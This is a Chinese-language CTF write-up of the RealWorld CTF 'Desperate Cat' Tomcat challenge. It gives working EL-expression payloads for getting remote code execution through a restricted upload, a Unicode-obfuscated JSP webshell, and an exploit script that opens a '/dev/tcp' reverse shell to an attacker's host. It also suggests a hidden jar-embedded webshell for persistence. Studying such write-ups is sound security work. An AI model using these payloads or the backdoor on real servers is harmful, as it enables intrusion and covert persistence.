HacKerQWQ的博客空间

Despercate Cat 带来的Tomcat利用思路

Word count: 4.3kReading time: 19 min
2023/02/23 Share

目录

[TOC]

前言

跟我一起参加入职培训的师傅找我一起做RealWorld 4th的Desperate Cat,看了writeup,在做题过程中学到了很多,在最后也是成功复现,记录一波。

关键词:

  1. EL表达式
  2. Tomcat Session存储
  3. jsp编译过程
  4. Tomcat reload条件

Desperate Cat背景

在这篇推文RWCTF 4th Desperate Cat Writeup中,作者出了一道名为Desperate Cat的realworld CTF赛题,取材于现实攻防遇到的难点(不得不说,这样的题目才是真正的以赛代练)

下面是对该赛题的描述:

存在文件上传功能点

  • 服务端中间件是 Tomcat,可以往 Tomcat Web 目录下写文件;

  • 写入的文件名后缀可控、没有检查;

  • 写入的文件名前缀不可控,会被替换为随机字符串;

  • 可指定文件的写入目录,且写入文件时如果文件所在的目录不存在,会递归进行父目录的创建;

  • 写入的文件内容部分可控,且以字符串编码的形式写入(而非直接传递的字节流),并且前后有脏数据;

  • 写入的文件内容里如下特殊字符被进行 HTML 转义:

    1
    2
    3
    4
    5
    6
    7
    & -> &
    < -> <
    ' -> '
    > -> '
    " -> "
    ( -> &#40;
    ) -> &#41;

初步思路:

既然是JavaWeb,最方便的就是写jsp webshell,但是jsp中存在<%%>这样的尖括号,会被转义从而失效,这是难点一;如果抛弃jsp的尖括号采用EL表达式,例如:${pageContext.request.getSession().setAttribute(“a”,pageContext.request.getClass().forName(“java.lang.Runtime”).getMethod(“getRuntime”,null).invoke(null,null).exec(“calc”).getInputStream())},那么又存在括号,也会被转义,这是难点二。

EL表达式从JSP2.0技术开始就内置支持了,不需要web.xml做配置

voidfyoo预期解

jsp unicode尝试

对于难点二,可以将jsp全部unicode编码再上传

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<%@ page import="java.io.InputStream" %> 
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
\u0069\u0066\u0020\u0028" shaqima"\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d \u0065\u0074\u0065\u0072\u0028"ladypwd"\u0029\u0029\u0029\u0020\u007b
\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u0069\u006e\u0020\u003d\u0020\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u002e \u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074 \u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028"infocmd"\u0029\u002e\u0073\u0070\u006c\u002769"\u0028"\\u0029\u0029\u002e\u0067\u0065\u0074\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0029\u003b
\u0069\u006e\u0074\u0020\u0072 \u0065\u0074\u0020\u003d\u0020\u002d\u0031\u003b
\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0062\u0073\u0020\u003d\u0020\u006e\u0065\u0077\u0020\u0062 \u0079\u0074\u0065\u005b\u0032\u0030\u0034\u0038\u005d\u003b
\u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u0028"<pre>"\u0029\u003b
\u0077\u0068\u0069\u006c\u0065\u0028\u0028\u007452\ u0020\u003d\u0020\u0069\u006e\u002e\u0072\u0065\u0061\u0064\u0028\u0062\u0073\u0029\u0029\u0020\u0021\u003d\u0020\u002d\u0031\u0029\u0020\u007b
\u006f\ u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u006c\u006e\u0028\u006e\u0065\u0077\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0062\u0073\u0029\ u0029\u003b
\u007d
\u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u0028"</pre>"\u0029\u003b
\u007d
%>

img

但是就存在尖括号,而纯EL表达式又存在括号,难点一和难点二互相制肘。

柳暗花明

voidfyoo师傅就提出几种思路:

  1. 看 Tomcat JSP 中是否支持类似于 EL 这类具有动态执行能力的其他语法特性;
  2. 看 EL 表达式中是否支持某些特殊编码,利用特殊编码将要转义的字符进行编码来绕过;
  3. 看 EL 表达式中是否可能存在二次解析执行(类似于 Struts2 中之前表达式二次渲染注入的漏洞);
  4. 在不使用圆括号的情况下,通过 EL 表达式的取值、赋值特性,获取到某些关键的 Tomcat 对象实例,修改它们的属性,造成危险的影响;

最终使用第四种思路,通过4个EL表达式修改属性,完成rce。

Tomcat Session保存机制

在Tomcat中为了Session数据持久化,会在Catalina退出或者reload时在\work\Catalina\域名\应用名\SESSIONS.ser中存储Session中的数据,在Catalina/reload时,遍历加载各个应用的SESSIONS.ser文件。

SESSIONS.ser是默认的SESSION持久化文件名,可以在conf/context.xml文件中设置

1
2
3
4
5
6
7
8
9
10
11
12
13
<Context>

<!-- Default set of monitored resources. If one of these changes, the -->
<!-- web application will be reloaded. -->
<WatchedResource>WEB-INF/web.xml</WatchedResource>
<WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>

<!-- Uncomment this to disable session persistence across Tomcat restarts -->
<!--
<Manager pathname="" />
-->
<Manager pathname="SESS.ser" />
</Context>

首先在jsp中设置session的attribute

1
2
3
4
5
6
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
session.setAttribute("test","test");
session.setAttribute("boolean",true);
session.setAttribute("number",666);
%>

然后手动退出Catalina

image-20230211114609018

使用kali下的msf-java_deserializer工具查看内容

image-20230211114729750

那么在攻防中拿到了主机权限是不是也可以把SESSIONS.ser文件脱下来看看有没有敏感信息呢

Catalina退出写入Session文件

首先是Catalina退出的情况,这时候只需要完成以下三点即可:

  1. 设置pathname(Session文件的保存文件名)
  2. 设置session中的值
  3. 退出Catalina

上传jsp

1
2
3
4
#pageContext.getServletContext().getClassLoader().resources.context.manager.pathname
相当于
${pageContext.servletContext.classLoader.resources.context.manager.pathname="shell.jsp"}
${sessionScope[param.a]=param.b}

传入payload(必须url编码)

1
?a=hackerqwq&b=%3C%25out.println('shell')%3B%25%3E&p=D:/Tomcat/webapps/ROOT/shell.jsp

image-20230212112818231

jsp后缀的session文件已经写入,使用SerializationDumper工具查看发现jsp内容已经存在

image-20230212120030048

reload写入Session文件

reload原理分析

在实际环境中不可能靠Tomcat关闭来达到写入Session文件的目的,这样就算shell写入进去了也无法访问,这里就用到了reload的知识点,通过reload同样可以触发Session文件保存机制。

org/apache/catalina/session/StandardManager.java中看到这样一段说明

image-20230212145329827

明确说明在server关闭或者重启、webapp reload的时候都会进行session持久化。

image-20230212150124420

接着全局搜索reload方法,找到了三种reload()方法

  1. 后台周期性监视Context变化
  2. manager手动reload
  3. Host配置

作者的做法采用的是第一种reload方法。在backgroudProcess()方法中想要进入reload()方法需要满足以下两个条件

  1. reloadable设置为true
  2. modified()方法返回为true

image-20230212151203596

通过google搜索Tomcat reloadable相关信息找到了相关描述

https://tomcat.apache.org/tomcat-7.0-doc/config/context.html

image-20230212152411113

当reloadable被设置为true时,Catalina会监听/WEB-INF/classes//WEB-INF/lib下的变化,一旦检测到变化就会reload,通过跟进modified()方法也确实找到了相关的技术实现,准确的说当有以下变化时会返回为true

  1. /WEB-INF/classes/下class文件lastModified时间改变
  2. /WEB-INF/lib下的jar包有新增、删除、修改,还是通过lastModified时间来判断

image-20230212153545524

达成reload条件

那么总结起来,想要触发reload,需要以下条件

  1. reloadable为true
  2. class文件或者jar包的Lastmodified Time变化

设置reloadable还是老方法,在pageContext.servletContext.classLoader.resources.context中就能设置reloadable参数

image-20230212144808459

1
${pageContext.servletContext.classLoader.resources.context.reloadable=true}

jar包可以通过文件上传的方式来修改lastModified时间

修改appBase

但是问题还是没有完全解决

当 Context reload 时,尽管确实会将我们构造的 Session 里的恶意数据写到本地 JSP,但由于我们写入的 Jar 文件不合法(前后存在脏数据),应用 Context 会 reload 失败,导致部署的这整个应用直接 404 无法访问!

因此需要修改appBase,从官方文档中找到了appBase相关描述

https://tomcat.apache.org/tomcat-8.0-doc/config/host.html

image-20230212161344068

此虚拟主机的应用程序基目录。 这是一个目录的路径名,该目录可能包含要部署在此虚拟主机上的 Web 应用程序。

通过在reload之前修改appBase可以做到将任意目录映射到该context下,实现任意文件读取或者是webshell解析,payload如下

1
2
3
#pageContext.getServletContext().getClassLoader().getResources().getContext().getParent().setAppBase(request.getParameter("d"));
相当于
${pageContext.servletContext.classLoader.resources.context.parent.appBase=param.d}

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
1. 上传jsp包含el表达式
${pageContext.servletContext.classLoader.resources.context.manager.pathname=param.p}
${sessionScope[param.a]=param.b}
${pageContext.servletContext.classLoader.resources.context.reloadable=true}
${pageContext.servletContext.classLoader.resources.context.parent.appBase=param.d}

2. 访问jsp修改session文件名,写入webshell,设置reloadable为true,修改appBase映射
#linux下
/?a=hackerqwq&b=%3C%25out.println("shell")%3B%25%3E&p=/tmp/shell.jsp&d=/
#windows
/?a=hackerqwq&b=%3C%25out.println("shell")%3B%25%3E&p=D:/test/shell.jsp&d=D:/

3. 上传任意jar包被添加脏字符后触发reload方法

上传jsp(本地直接拖文件模拟上传)后修改各种属性

image-20230221222159294

手动拖一个jar包进/WEB-INF/lib下触发reload,将D:/当成appBase,对子目录进行加载

image-20230221222423750

经过一系列context的加载后,终于到了检测到了ROOT的/WEB-INF/lib增加了jar触发reload

image-20230221224056342

访问shell.jsp,能够看到jsp代码已经执行成功

1
http://localhost:8888/test/shell.jsp

image-20230221224702401

官方Desperate Cat的writeup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/env python3

import sys
import time
import requests

PROXIES = None

if __name__ == '__main__':
target_url = sys.argv[1] # e.g. http://47.243.235.228:39465/
reverse_shell_host = sys.argv[2]
reverse_shell_port = sys.argv[3]

el_payload = r"""${pageContext.servletContext.classLoader.resources.context.manager.pathname=param.a}
${sessionScope[param.b]=param.c}
${pageContext.servletContext.classLoader.resources.context.reloadable=true}
${pageContext.servletContext.classLoader.resources.context.parent.appBase=param.d}"""
reverse_shell_jsp_payload = r"""<%Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "sh -i >& /dev/tcp/""" + reverse_shell_host + "/" + reverse_shell_port + r""" 0>&1"});%>"""
r = requests.post(url=f'{target_url}/export',
data={
'dir': '',
'filename': 'a.jsp',
'content': el_payload,
},
proxies=PROXIES)
shell_path = r.text.strip().split('/')[-1]
shell_url = f'{target_url}/export/{shell_path}'
r2 = requests.post(url=shell_url,
data={
'a': '/tmp/session.jsp',
'b': 'voidfyoo',
'c': reverse_shell_jsp_payload,
'd': '/',
},
proxies=PROXIES)
r3 = requests.post(url=f'{target_url}/export',
data={
'dir': './WEB-INF/lib/',
'filename': 'a.jar',
'content': 'a',
},
proxies=PROXIES)
time.sleep(10) # wait a while
r4 = requests.get(url=f'{target_url}/tmp/session.jsp', proxies=PROXIES)

WreckTheLine和Sauercloud战队非预期解

WreckTheLine和Sauercloud战队的选手采用的方法跟作者的预期解有所不同,他们采用的是构造合法jar包上传到/WEB-INF/lib再通过修改WatchedResources的方法进行reload,最终geshell。

先简单说一下两个战队的相同地方:

  1. 上传ascii-jar到/WEB-INF/lib

  2. 修改WatchedResources触发reload

不同地方:

  1. WreckTheLine战队的师傅将shell写到/META-INF/resources下,reload之后直接在webapp/下就能访问到shell。
  2. Sauercloud战队的师傅将shell编译为class文件打包为jar包,reload之后通过设置org.apache.jasper.compiler.StringInterpreter,然后再进行jsp的Generator的过程中触发class对应类的实例化,从而rce。

下面介绍WatchedResources和jsp中有关Generator的知识。

WatchedResources

官网介绍:https://tomcat.apache.org/tomcat-7.0-doc/config/context.html

image-20230222004137637

Tomcat 会有后台线程去监控这些文件资源,在 Tomcat 开启 autoDeploy 的情况下(此值默认为 true,即默认开启 autoDeploy),一旦发现这些文件资源的 lastModified 时间被修改,也会触发 reload:

图片

各版本WatchedResource如下

1
2
3
4
5
6
7
8
#Tomcat8
<WatchedResource>WEB-INF/web.xml</WatchedResource>
<WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>

#Tomcat9
<WatchedResource>WEB-INF/web.xml</WatchedResource>
<WatchedResource>WEB-INF/tomcat-web.xml</WatchedResource>
<WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>
  • WatchedResource可以是文件也可以是目录!!!

jar包内资源文件映射

java官方Servlet说明文档:https://javaee.github.io/servlet-spec/downloads/servlet-4.0/servlet-4_0_FINAL.pdf

image-20230223214217010

提到了很关键的一点

除了JSP和jar包中的/META-INF/resources/中的静态资源,没有其他/WEB-INF/中的资源可以被container直接提供给客户端

翻译过来就是,/META-INF/resources中的静态资源可以直接映射到Servlet的/

构造合法jar包

在Desperate Cat这题的前提条件下,有这么一些条件

  • 只能上传UTF-8编码的String
  • 上传文件的前后有脏字符
  • &<'>"()等字符会被编码

在这样的条件下想要在ascii(32-127)范围内构造出一个jar包,后续这个jar包前后还要被填充脏字符,听起来难度很大,但是c0ny1师傅实现了,原理是:

  1. 在jar包文件结构的基础上将各部分的字节控制在(0-127)内
  2. crc,raw_data和compressed_data之间的互相影响关系,通过填充脏字符来解决
  3. 使用phith0n师傅的PaddingZip项目来实现在jar包前后增加脏字符,通过offset来使得jar包依旧有效

https://mp.weixin.qq.com/s/V5UzhjWKgB7_cAJWer8mZg

这里直接用师傅的项目生成jar包

diggid4ever师傅的改进版更好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
1.1 生成包含class的ascii jar
➜ ascii-jar python3 ascii-jar-1.py
[-] CRC:False RDL:False CDL:True CDAFL:False Padding data: 1*A
[-] CRC:False RDL:False CDL:True CDAFL:False Padding data: 2*A
[-] CRC:False RDL:False CDL:True CDAFL:False Padding data: 3*A
......
[-] CRC:False RDL:True CDL:True CDAFL:True Padding data: 247*A
[+] CRC:True RDL:True CDL:True CDAFL:True Padding data: 248*A
[+] Generate ascii01.jar success

1.2 生成包含META-INF/resources/的ascii jar
➜ ascii-jar python3 ascii-jar-2.py
[-] CRC:False RDL:True CDL:True CDAFL:True Padding data: 1*A
[-] CRC:False RDL:True CDL:True CDAFL:True Padding data: 2*A
[-] CRC:False RDL:True CDL:True CDAFL:True Padding data: 3*A
[-] CRC:False RDL:True CDL:True CDAFL:True Padding data: 4*A
[-] CRC:False RDL:True CDL:True CDAFL:True Padding data: 5*A
[-] CRC:False RDL:True CDL:True CDAFL:True Padding data: 6*A
[-] CRC:False RDL:True CDL:True CDAFL:True Padding data: 7*A
[-] CRC:False RDL:True CDL:True CDAFL:True Padding data: 8*A
[-] CRC:False RDL:True CDL:True CDAFL:True Padding data: 9*A
[-] CRC:False RDL:True CDL:False CDAFL:True Padding data: 10*A
[-] CRC:False RDL:True CDL:True CDAFL:True Padding data: 11*A
[-] CRC:False RDL:True CDL:True CDAFL:True Padding data: 12*A
[+] CRC:True RDL:True CDL:True CDAFL:True Padding data: 13*A
[+] Generate ascii02.jar success

jsp编译过程

参考链接:https://blog.ahao.moe/posts/JSP_compile_and_load.html

  1. 客户端请求JSP文件.
  2. Servlet容器将请求交给org.apache.jasper.servlet.JspServlet处理, 具体配置在Tomcatconf/web.xml中.
  3. JspServlet生成java文件, 编译为class文件, 加载到ClassLoader, 加入缓存中.
  4. 调用生成的Servletservice方法处理请求.

主要对Sauercloud战队使用到的org.apache.jasper.compiler.StringInterpreter属性进行一个跟进,以下是从访问jsp到调用newInstance()函数进行rce的一个过程梳理


首先jsp、jspx在conf/web.xml文件中定义了具体的处理servlet

1
2
3
4
5
6
7
8
9
<servlet-name>jsp</servlet-name>
<servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
...

<servlet-mapping>
<servlet-name>jsp</servlet-name>
<url-pattern>*.jsp</url-pattern>
<url-pattern>*.jspx</url-pattern>
</servlet-mapping>

所有的jsp和jspx都经过org.apache.jasper.servlet.JspServlet这个Sevlet处理,而从JspServletnewInstance()经过了以下函数,有兴趣的可以下载Tomcat源码跟进一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
org.apache.jasper.servlet.JspServlet#init
org.apache.jasper.servlet.JspServlet#service
org.apache.jasper.servlet.JspServlet#serviceJspFile
org.apache.jasper.servlet.JspServletWrapper#service
org.apache.jasper.JspCompilationContext#compile
org.apache.jasper.compiler.Compiler#compile()
org.apache.jasper.compiler.Compiler#compile(boolean)
org.apache.jasper.compiler.Compiler#compile(boolean, boolean)
//生成jsp的java代码
org.apache.jasper.compiler.Compiler#generateJava
org.apache.jasper.compiler.Generator#generate
org.apache.jasper.compiler.Generator#Generator
org.apache.jasper.compiler.StringInterpreterFactory#getStringInterpreter
org.apache.jasper.compiler.StringInterpreterFactory#createInstance
java.lang.reflect.Constructor#newInstance

挑几个关键的点来突出讲一下

  • compile()函数将jsp转换为java代码中会通过jspCompiler.isOutDated()函数判断jsp文件是否过时,有以下两个方法可以让其过时

    • 可以在web.xml里的JspServlet配置modificationTestInterval参数, 指定一定秒数内return false, 不进行重新编译.
    • 修改jsp的modified time,即新增/修改jsp的内容
  • getStringInterpreter函数中会获取context(ServletContext)中org.apache.jasper.compiler.StringInterpreter这个属性的值作为类名进行实例化创建

    image-20230223014927769

最后在createInstance方法中完成实例化创建,也就是我们提前写在构造函数中的恶意代码

1
2
3
4
5
private static StringInterpreter createInstance(ServletContext context,
String className) throws Exception {
return (StringInterpreter) context.getClassLoader().loadClass(
className).getConstructor().newInstance();
}

完整exp

对于WreckTheLine战队来说,只需要完成以下两步即可:

  • 构造ascii-jar包,在/META-INF/resources/中写webshell

  • 上传任意文件,指定为WEB-INF/tomcat-web.xml目录(题目前提条件提到了如果指定上传的目录不存在则递归创建),触发reload

本地测试步骤简单很多:

1
2
3
4
#生成ascii-jar包
python3 ascii-jar-2.py
#将jar包上传到/WEB-INF/lib目录下
#手动修改web.xml文件

image-20230223225103689


对于Sauercloud战队,需要完成三部:

  1. 构造包含class文件的ascii-jar

  2. 修改WatchedReources触发reload

  3. 上传jsp文件,包含设置org.apache.jasper.compiler.StringInterpreter属性的EL表达式

    1
    2
    3
    4
    5
    6
    7
    #jsp文件内容
    ${applicationScope[param.a]=param.b}
    #传入payload
    ?a=org.apache.jasper.compiler.StringInterpreter&b=Exploit
    #相当于执行以下jsp
    pageContext.getServletContext().setAttribute("org.apache.jasper.compiler.StringInterpreter", "Exploit");
    #最后再随便上传一个jsp触发Generator流程

    image-20230223231559736

    属性成功被修改

success文件也创建成功(class文件内容是生成success文件)

image-20230223231655772

攻防应用

在实际应用中,可以通过上传一个jar包,在/METE-INF/resources/中放置一个webshell直接映射到/目录下做权限维持,但是又不存在具体文件,增加了隐蔽性

参考链接

CATALOG
  1. 1. 目录
  2. 2. 前言
  3. 3. Desperate Cat背景
    1. 3.1. voidfyoo预期解
      1. 3.1.1. jsp unicode尝试
      2. 3.1.2. 柳暗花明
      3. 3.1.3. Tomcat Session保存机制
      4. 3.1.4. Catalina退出写入Session文件
      5. 3.1.5. reload写入Session文件
        1. 3.1.5.1. reload原理分析
        2. 3.1.5.2. 达成reload条件
        3. 3.1.5.3. 修改appBase
        4. 3.1.5.4. 完整exp
    2. 3.2. WreckTheLine和Sauercloud战队非预期解
      1. 3.2.1. WatchedResources
      2. 3.2.2. jar包内资源文件映射
      3. 3.2.3. 构造合法jar包
      4. 3.2.4. jsp编译过程
      5. 3.2.5. 完整exp
  4. 4. 攻防应用
  5. 5. 参考链接